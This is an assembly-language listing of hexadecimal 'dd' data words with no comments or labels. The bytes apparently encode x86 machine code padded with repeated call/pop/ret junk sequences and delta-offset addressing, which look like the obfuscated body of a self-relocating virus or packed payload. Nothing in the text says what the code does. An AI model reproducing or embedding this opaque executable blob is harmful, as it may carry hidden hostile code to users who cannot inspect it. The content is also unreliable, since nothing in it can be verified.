		dd 36DB72E8h, 2E2195FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 7497ECC3h, 8B526026h
		dd 0E7139595h, 9D095A05h, 5E72221h, 1BB98589h, 6A05EBh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 52586EC3h, 7E5CA94Bh, 0F52F0B5h, 6A5FD2B7h, 0B1958B00h
		dd 6805E705h, 683BF599h, 3481D88Bh, 3AF59924h, 0C9858968h
		dd 9005E715h, 8B5017B6h, 850990F8h, 5E71F71h, 14E90B6Ah
		dd 0D3000000h, 33CC5898h, 0AA07CA65h, 0ECF4C7Eh, 27BC53F2h
		dd 8DEBCA71h, 0EB1B8685h, 0F98B9005h, 0D88B5750h, 0B966905Ah
		dd 95FF4CCDh, 5E71789h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0B1C35343h, 13958589h, 0B58D05E7h, 5EB1B90h
		dd 3ACB8166h, 0E59D8BC4h, 5005E731h, 0DE8h, 0EE917400h
		dd 45236EF5h, 0A9CA9F6Dh, 11E9BABDh, 0A4000000h, 752945D7h
		dd 1F40BBFEh, 0FBD4C596h, 0E46095FFh, 2434895Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 5C35646h, 0CFCB095Eh
		dd 0A9A5A197h, 8B0F5090h, 0Dh, 6E952h, 7DCF0000h, 9F4124D7h
		dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0F148EC3h, 687h, 7D9D8B00h, 0FF05E72Ch, 0E70F6195h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0C61BBE1Ah, 62EE745Fh, 81D0FFEAh, 0B314DDC3h
		dd 0B9B58B26h, 6A05EB1Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 2D91C357h, 6C799DAh
		dd 0E64D16F5h
		dd 1B358D89h, 85C705E7h, 5EB1BB1h, 0
		dd 1CD9533h, 0B58905E7h, 5E72AB5h, 207E80h, 337840Fh, 89600000h
		dd 0E7275D95h, 18A0F05h, 0F8000000h, 6A6061h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8D8BD6C3h
		dd 5E70AF5h, 6020468Dh,	33C2B70Fh, 0E716199Dh, 85896105h
		dd 5EB1BB5h, 0DE38151h,	5968CA2Ch, 4DE9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 8D8B0F1Fh, 5E72A31h,	50006A40h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0B1465295h, 0D5911DBCh
		dd 13E1BD89h, 388005E7h, 0CD850F00h, 0FCFFFFFFh, 25E9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0F5893C7h, 81h, 38804800h, 60840F5Ch, 23000000h
		dd 0E70659BDh, 2F388005h, 51840Fh, 0CE90000h, 3A000000h
		dd 3FE0CDA9h, 0DF3467FAh, 0E80CE9A0h, 5, 0B039B039h, 0C9950139h
		dd 5905E723h, 1BB5853Bh, 830F05EBh, 0FFFFFFB9h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 51C35242h, 0A19D8BECh
		dd 4005E715h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	59C35545h, 0BD0951C1h, 5E71C4Dh, 65BD895Ah, 8305E72Ah
		dd 0EB1BBDBDh, 840F0005h, 75h, 28E0F60h, 60000000h, 61606061h
		dd 56DBD89h, 616105E7h,	8E850h,	45970000h, 79BBFE9h, 0FE8A9055h
		dd 2404895Fh, 0BD8503FCh, 6A05EB1Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 3784C350h
		dd 7973563h, 0FABFF91h,	88Dh, 2880F00h,	8A000000h, 0C6D8h
		dd 22DD958Bh, 8B5805E7h, 0E72179BDh, 46B96605h,	0E88A9073h
		dd 57525050h, 0B6310F5Fh, 90585AEDh, 0CE9h, 9AEA8A00h
		dd 2DB6B379h, 5DA55DF9h, 459D89B9h, 0FF05E705h,	0EB1BA9B5h
		dd 21958B05h, 0FF05E72Ch, 0EB1BAD95h, 13E905h, 0B2300000h
		dd 62A14A4Dh, 0FAB37DD3h, 0E43609B3h, 0A2F3F6F8h, 0FC00BA5h
		dd 9285h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 603A8CE2h, 2CA9BD8Bh, 8B6605E7h
		dd 6A61F8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0A606A6C3h, 2D85A800h, 0E3D8D8Bh,	85C705E7h
		dd 5EB1BB1h, 1,	0DE9h, 0E71D2200h, 0FE4B09DEh, 0CE69C4B1h
		dd 82E90BB2h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 7BB2C357h, 617D447Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B4C35747h
		dd 8D8B100Fh, 5E71285h,	11CC681h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0A058FCC3h
		dd 7163D328h, 0CBB70F2Eh, 0FFFCCBE9h, 0D18D8BFFh, 8B05E707h
		dd 0E70B7D8Dh, 4E805h, 80000000h, 0FB8B0000h, 11E850h
		dd 0E8050000h, 0BDEC4E88h, 0D9BC0D1Fh, 8304169Ah, 8B61F7BCh
		dd 448B59D1h, 98B30424h, 0E960008Bh, 0Fh, 63842C01h, 0FE2723B0h
		dd 0C8762D75h, 500BBB57h, 0FC78B52h, 5A30B631h,	44896158h
		dd 0B6BB0424h, 58768AFAh, 6E8h,	6DADF800h, 0B6ED237h, 0E7084D9Dh
		dd 6A5B05h, 19DDB529h, 61BF05E7h, 0FF6F11E7h, 0EB1BB9B5h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BD8B8E8Bh, 5E70E21h, 0E788DF81h, 95FF2516h
		dd 5E727A1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	90C35242h, 0BD891D1Dh, 5E715E9h, 5A51B7BAh, 0B1858B27h
		dd 6A05EB1Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0E270C351h, 3898B35Bh,	75958B60h
		dd 0F05E70Ch, 681h, 359D0900h, 6105E705h, 6E950h, 0A4040000h
		dd 33E2184Fh, 8D240489h, 0EB1BC185h, 45858905h,	9005E71Ch
		dd 10E96057h, 95000000h, 1CC77FF4h, 94700F14h, 0DA899DCDh
		dd 66ECB47Dh, 5F61F78Bh, 1041B950h, 66904323h, 4CFAD981h
		dd 1B7E858Dh, 6A05EBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 6E639AC3h, 1DCB07E1h, 6119D8Bh
		dd 669005E7h, 5750FB8Bh, 10E9h,	5CDF4000h, 0AB36A654h
		dd 6CECEFC6h, 87E6AE29h, 89905964h, 0E700D18Dh,	0EE905h
		dd 59920000h, 0F31C3436h, 0EA7025E0h, 0A539AFA8h, 226595FFh
		dd 45B305E7h, 0DBFC08Bh, 8358A079h, 0E70D79BDh,	9750005h
		dd 1C15BD83h, 740005E7h, 8B535013h, 4D0B8C0h, 9D8D0000h
		dd 5E9A86Fh, 585BD3FFh,	1C15BD83h, 740005E7h, 0B8535011h
		dd 4D0h, 0A76E9D8Dh, 0D3FF05E9h, 6A585Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 1565A4C3h
		dd 89C08BF9h, 0E722598Dh, 95895805h, 5E705A5h, 0E90008C2h
		dd 0Ah,	2FBD3C6Ah, 91D126D7h, 0C08BD901h, 0F7858DF9h, 2905EB1Bh
		dd 0E70D61B5h, 81858905h, 0E905E726h, 75h, 0D88C6660h
		dd 840F04A8h, 35h, 0B5FF016Ah, 5E70C25h, 7963858Dh, 0D0FF05EAh
		dd 2BF18589h, 0FE8B05E7h, 680CEFC1h, 20040000h,	26A006Ah
		dd 0D6857h, 95FF0001h, 5E72BF1h, 32E9h,	0F985C600h, 5605E707h
		dd 0C530DF68h, 0C5B5FFA9h, 8D05E72Dh, 0EA796385h, 89D0FF05h
		dd 0E7014985h, 0C5858D05h, 5005E704h, 56A206Ah,	4995FF56h
		dd 6105E701h, 6E0C1C3h,	0FE96060h, 99000000h, 0F8D660D7h
		dd 0ADE73268h, 0BD41592h, 0E9812EF2h, 35AC951Bh, 6AC08B61h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0FE74C357h, 0CE8h, 4B5BDA00h, 0A895F7D0h
		dd 0AEFA54C0h, 0CDBD8931h, 5E05E727h, 0D79BD83h, 750005E7h
		dd 15BD8309h, 5E71Ch, 53501974h, 38B8C08Bh, 89000004h
		dd 0E713D585h, 349D8D05h, 0FF05E9AAh, 83585BD3h, 0E71C15BDh
		dd 17740005h, 38B85350h, 89000004h, 0E713D585h,	239D8D05h
		dd 0FF05E9A7h, 0F8585BD3h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 95C35141h, 8E8DC5Bh, 56000000h, 9EDFB23Ah
		dd 8BBE261Ah, 0E72D51BDh, 1BE5905h, 8B020F40h, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0B8CCEFA6h, 8D0F3737h, 6, 55A7E681h,	67E81D63h, 0E9000008h
		dd 0Ch,	0F3C49353h, 5C951388h, 78CE5AAh, 262D8589h, 6A05E7h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0F7FE99C3h, 4CF07563h, 7E9B9h, 335B0000h, 22ECE5CAh
		dd 33ADBF09h, 17E8227Bh, 6A000008h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 83F3C350h
		dd 0EE960h, 48E10000h, 0E9A78D09h, 924586C9h, 0ED3E55BDh
		dd 21198D01h, 16105E7h,	0E7160D95h, 75858905h, 6A05E715h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 294AC355h, 0E732B99Dh, 0BDB52905h, 0E805E720h
		dd 7A6h, 16058589h, 0F88B05E7h,	799E8h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 89CF8A0Eh, 0E708C585h, 0AD98005h, 76DE8h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 897645E2h, 0E7281D85h, 0B966BE05h, 3FE82DC0h, 6A000007h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 1728C350h, 89973F73h, 0E72B1985h,	714E805h
		dd 0B58B0000h, 5E71B31h, 129D8589h, 8D8B05E7h, 5E7059Dh
		dd 6FDE8h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0D4ECB82h, 89C8B70Fh, 0E731DD85h
		dd 0B1BD8905h, 0E805E72Ch, 6CAh, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0E9C35747h,	661E310Bh, 8D8D89C1h
		dd 8905E712h, 0E719E585h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 310AC5E4h
		dd 0CF806060h, 880F87h,	61000000h, 89615A53h, 0E72EA18Dh
		dd 664E805h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0FBAE64C3h, 0D2035939h, 9D8975E2h
		dd 5E70939h, 2C75BD29h,	858905E7h, 5E72CC5h, 2F499D89h
		dd 23E805E7h, 8B000006h, 0E71D0DBDh, 65B50105h,	8905E720h
		dd 0E72D3585h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 68AE5364h, 0BD23D798h
		dd 5E71D11h, 5E5E8h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 89F9312Ch, 0E70BB9BDh
		dd 0C7D78105h, 8964B970h, 0E72E5585h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 846A1DF7h, 0ADB3DE91h, 0FEB70F46h, 9A1BB966h, 585E8h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0DE939h,	96C50000h, 5CCF0A63h, 5D6A7A4h
		dd 8BCC01DAh, 0E18589CAh, 6A05E715h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 9983C353h
		dd 7563F7FEh, 8D8B4CF0h, 5E70D21h, 521E8h, 0EE900h, 0F7B50000h
		dd 11BD3660h, 3054664Bh, 27340F98h, 2AB18589h, 6A05E7h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0DDCBC3h, 56C1F979h,	0F398D8Bh, 0E85905E7h, 4DAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0D3C35545h, 0A9208144h
		dd 89E958EBh, 0E71CD195h, 65858905h, 6605E72Eh,	0E8F50CB9h
		dd 4A2h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 18h,	83C35141h, 22D84564h, 0C9950960h, 8005E729h, 666183CCh
		dd 4E6DE181h, 17D8589h,	6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 9D4D57C3h, 0B08809h
		dd 0FCF8B66h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 828A8FC3h, 35377662h, 0BA89FED3h
		dd 6, 0B606C981h, 0C38B08AFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0CFC35040h,	6698B857h, 0E8C1F18Bh
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 6E9796D1h, 0BD8BBA6Dh, 5E72AA1h,	6AE2F766h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 2DA7C355h, 0C0308C60h, 38AC60Ch, 2820Fh
		dd 8FB10000h, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0DB9E6EC3h, 8D8B3C3Ch, 5E707A9h
		dd 0C6FBBE66h, 0F4B9B993h, 8B505647h, 0B53393CFh, 5E712C9h
		dd 2CD995FFh, 800F05E7h, 10h, 9E8h, 9D141A00h, 0C571088Ah
		dd 5EFCD935h, 53006A5Bh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0E106FB9Dh, 8DF9BF0Fh, 0E7131995h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 920A198h, 891CB915h, 51006A1Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 28D6D084h
		dd 666029B9h, 0A0D981h,	8961C5B2h, 0B5090442h, 5E705D9h
		dd 0F18B6660h, 8A1B589h, 8D6105E7h, 0E70CF195h,	51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BE6609E9h, 89FCF88Dh, 52006A1Ah, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 95093E6Fh
		dd 5E705EDh, 4289EDB5h,	53006A04h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 13D7F2CAh, 10E95Ah, 0CFB10000h
		dd 0D676039Dh, 431AFD46h, 23B7ED62h, 958DC39Ch,	5E71BA1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4FC35747h
		dd 6A1A89h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 428916C3h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 61455F3h, 81BD89F9h, 0E905E70Ch
		dd 0Fh,	0CBCFCF13h, 0D9AE1265h,	0C5C48D54h, 8DE3B4AAh
		dd 0E712C195h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 9FBE598Dh, 8958E44Eh
		dd 57006A1Ah, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 3798C8A1h, 0CFD68197h, 89547D51h, 6A0442h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 26366BC3h, 4CBF6682h, 35958DA4h, 6605E722h, 8B0EADB9h
		dd 0E702F1B5h, 0F1A8905h, 4289F2B7h, 4840F04h, 66000000h
		dd 8DF42CBFh, 0E700BD95h, 45BD3305h, 8905E705h,	52006A1Ah
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 65B58B78h, 8905E70Dh, 0BD890442h, 5E72231h, 3161958Dh
		dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0D9F26C3h, 0A0FAEE3Ch, 7755BFBAh,	157203Bh
		dd 0E708A1B5h, 1A895905h, 31952952h, 5905E700h,	6A044289h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 9510C350h, 0CD0BA59Bh, 0AC23473Ah, 0D2F3B966h
		dd 0CE9h, 4FA8A00h, 427A99F7h, 0DEC4500Bh, 0C5958DC8h
		dd 5105E70Eh, 0F81EF181h, 89595B97h, 57006A1Ah,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 42896158h
		dd 55953104h, 0E905E71Ch, 0CDh,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 85C35343h, 0A520ED15h, 25E9BD01h
		dd 6A05E7h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 15h,	7AC35040h, 0F88B663Ch, 6A006Ah,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 2B540FC3h
		dd 57B1D0AEh, 880F006Ah, 6, 12419589h, 6A05E7h,	8158D8Bh
		dd 95FF05E7h, 5E72055h,	6AC35E51h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 279FC350h, 0E9F6C07Ah, 11h, 0DDCCE273h, 48E7A7ABh, 56BB54DFh
		dd 578211E2h, 0E9F78195h, 89378743h, 0E72171B5h, 6AC58A05h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 9C83C355h, 52B9F323h, 0DE9A2h, 29AA0000h
		dd 767B8B8Ch, 97FC0ADEh, 8BC0D544h, 44E9BEC0h, 0BD83340Ah
		dd 5E70D79h, 83097500h,	0E71C15BDh, 19740005h, 0C08B5350h
		dd 438B8h, 2D858900h, 8D05E70Fh, 0E9AA9B9Dh, 5BD3FF05h
		dd 15BD8358h, 5E71Ch, 53501774h, 438B8h, 2D858900h, 8D05E70Fh
		dd 0E9A73C9Dh, 5BD3FF05h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 84D0225Dh
		dd 0E7816647h, 6A67B1h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0F1F53C3h, 1182h, 0AE800h, 7A4B0000h
		dd 5EB4972Ch, 25F2E02Ah, 91BF5EF8h, 8B6E6E39h, 0F9858DC0h
		dd 2905E71Ah, 0E7062D8Dh, 0B59D0305h, 9005E716h, 0AE9h
		dd 0FC8C4C00h, 33CAA931h, 5050708Bh, 90D98B66h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 85C35545h, 4E050275h
		dd 1DC679E7h, 1C999D8Bh, 6A05E7h, 1CDB589h, 9D8B05E7h
		dd 5E732D9h, 9D23006Ah,	5E71691h, 3756858Dh, 6A05EBh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0BE3ACAC3h, 0DCB700BBh, 8B05C083h, 90F98BDAh, 8546CBBh
		dd 0C0BB5002h, 9034E2E0h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 25C35141h, 800F21DAh,	3, 6ADA8B66h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0DA292001h, 11E81Dh,	0CA0B0000h, 8BDCD24Dh, 7E8E85ABh
		dd 4FF69C48h, 60A243DAh, 8A0Fh,	5B610000h, 7FBB006Ah, 0FF224C17h
		dd 0E702C595h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0B1254393h, 869EB3C1h
		dd 55BB669Ch, 148D8D99h, 6605EA95h, 0D1FFFB8Bh,	0EB816660h
		dd 8FBB0CD6h, 6124CCF7h, 7F1BD83h, 0F0105E7h, 0AE85h, 6A026A00h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 175BC357h, 2C8AD98Ch, 8BFBE3C7h, 0E713299Dh
		dd 52509005h, 0CE9h, 9BFB4000h,	0FB683753h, 85F74023h
		dd 8B310F12h, 50585AF9h, 90D98B66h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0C4C35040h,	93AEEC11h, 11E971h
		dd 0C8CA0000h, 8E179D7Bh, 2E9BE78h, 98B409F1h, 0FF787083h
		dd 0E7004195h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 90C39103h, 9D8D2974h
		dd 0E905E705h, 0D30h, 0E8h, 0ED815D00h,	5EB3760h, 6AFBB70Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 5856C350h, 0C1B440EAh, 0B5891ED8h, 5E722D1h
		dd 0ED8D29h, 858D05E7h,	5EA8F5Bh, 6870Fh, 0E7810000h, 6EC3495Bh
		dd 68E0Fh, 9D8B0000h, 5E72DF5h,	0BEFCBF50h, 4892B26h, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 6B06959Dh, 2362F0BFh, 35FF6423h, 0
		dd 2181BD89h, 896405E7h, 25h, 0EF816000h, 5BB70A0Bh, 0AE9h
		dd 86857300h, 0E1820309h, 6167BC13h, 1CE185FFh,	0C8BF05E7h
		dd 6A15D112h, 0F8B70FFFh, 262DB5FFh, 8E805E7h, 0C8000000h
		dd 6003475Ah, 95C0202h,	0E7134585h, 0CB815B05h,	61BE90BBh
		dd 29C195FFh, 1EE905E7h, 0F000001h, 284h, 31FA8B00h, 0E713D98Dh
		dd 5000B005h, 68B0Fh, 8D310000h, 5E725A5h, 6670E65Fh, 7010C381h
		dd 2259BD2Bh, 71E405E7h, 2A1DBD2Bh, 613C05E7h, 0E3830Fh
		dd 8B660000h, 0C8B60FFEh, 13B5BD89h, 6BA05E7h, 66000000h
		dd 8B8B45BFh, 12E9C1h, 7F4E0000h, 2C931BB1h, 1ABDC99Eh
		dd 3CE3FA83h, 0CDF19EE4h, 0DC98589h, 0E8C105E7h, 5FFC5004h
		dd 0E9E2F766h, 0Fh, 0FFCD0E30h,	0B94945B7h, 0BB99E6D8h
		dd 2B0CB925h, 9D8B57C8h, 5E71B65h, 0E9D18B5Fh, 1Dh, 21199D8Bh
		dd 12E905E7h, 26000000h, 0EE3C0D9Fh, 0ABAA0FAh,	0C2F8E0B0h
		dd 1350905Fh, 19858BFDh, 6605E713h, 0BBF135BBh,	412E3CB6h
		dd 6607C083h, 3B88CF81h, 0B700C083h, 0FD03B72h,	0D83h
		dd 85BD3300h, 0E905E707h, 35h, 8D8BD88Bh, 5E71C59h, 0DDD8D29h
		dd 0E18305E7h, 1E840F01h, 0F000000h, 0A583DEBFh, 5E71C59h
		dd 0F88B66FEh, 13199589h, 950905E7h, 5E72C99h, 0E9h, 6EB58D00h
		dd 8B05EABAh, 0E71565BDh, 6A006A05h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 85E9C351h
		dd 1A1D95FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 93718EC3h, 3402EA42h, 820F5157h
		dd 0
		dd 81665F5Fh, 0B93966DFh, 69Ch,	0E1839BB7h, 0E38166FCh
		dd 60FC3652h, 259D958Bh, 0B58905E7h, 5E726A1h, 0B861h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 764C57C3h, 12E9E9h, 0F8800000h, 0CA1F0462h
		dd 0F6546C29h, 3325B537h, 0AE0B70ECh, 6AD22Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0B72C9AC3h, 0AB7D7B68h, 60605607h, 0A1D88061h, 8E0F5B61h
		dd 10h,	0BE9h, 53CD9A00h, 5FC92061h, 0F0CC2791h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 4880Fh, 0BB660000h, 6AEF89h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 60C9ABC3h, 2A3CBB88h, 880D64B7h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8BBFC353h, 0E7231595h, 1BD8905h, 8B05E701h, 0E708B98Dh
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 816650D4h, 5B47BCEBh, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 7BFAABC3h, 0C10EDCE7h
		dd 0BD8BDCF2h, 5E729BDh, 2C99D89h, 9D8B05E7h, 5E7127Dh
		dd 211DBD83h, 0F0005E7h, 4884h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 11CF4D4h, 0E70CB5BDh
		dd 0B805h, 9D8B0000h, 5E70B7Dh,	878B0DBFh, 0FA8D8D42h
		dd 8905E74Dh, 0E72BF5BDh, 8BE1FF05h, 0E722559Dh, 99BD8305h
		dd 5E70Ch, 45E840Fh, 0EE80000h,	3000000h, 32EF2C12h, 0C69D3834h
		dd 3A8A1779h, 0C19D297Eh, 5B05E716h, 0EE8h, 27149400h
		dd 0A7AE9819h, 1B8FAEF0h, 89174D81h, 0E71C3D85h, 0BD835F05h
		dd 5E70C99h, 38840F01h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 2305C351h
		dd 861CF9EAh, 68B0Fh, 85290000h, 5E72A39h, 0C99BD83h, 0F0305E7h
		dd 3C886h, 0A19D8B00h, 6005E715h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 9C35242h, 85890051h, 5E72A55h
		dd 29D98C66h, 0E727918Dh, 13E905h, 55C20000h, 63A3D62Dh
		dd 3154EDC1h, 18663711h, 0CDA89843h, 4E180E9h, 0C90A5B52h
		dd 108840Fh, 90BB0000h,	8B662AF6h, 0E7072D85h, 0F3816605h
		dd 8533E277h, 5E72E81h,	90FE8B66h, 579159BFh, 880F5051h
		dd 0Bh,	6E9h, 0ED7B7800h, 907F6036h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 9FC35747h, 60371CD8h, 0A61BD8Bh
		dd 0CF8105E7h, 4F3192A8h, 0FA8B6661h, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0D49292C3h, 0B8D7E19Eh, 5C59D89h, 4E805E7h, 0FF000000h
		dd 8B001F03h, 68B350DEh, 424448Bh, 8BD88Bh, 310F5250h
		dd 3ED195BBh, 89585A2Dh, 0F042444h, 484h, 50BF6600h, 6A5828h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 254001C3h, 8AEFE5BFh, 0E595FF5Ah, 0F05E720h,	389h, 0D9BF0F00h
		dd 0A3508589h, 0BD8B05EAh, 5E7145Dh, 217E9h, 0A234BF00h
		dd 0BB6613AEh, 858B91CFh, 5EAA348h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 93C35545h, 0DBCC130h, 0AE98Bh
		dd 4F3A0000h, 734561DEh, 99303BE5h, 1800C7h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 25875DC3h, 0ACF9DA0Dh, 0AE9EFh, 228B0000h, 14FF747Eh
		dd 19A314A0h, 0A34CB58Bh, 6A05EAh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8A607CC3h, 4D8D8BF9h
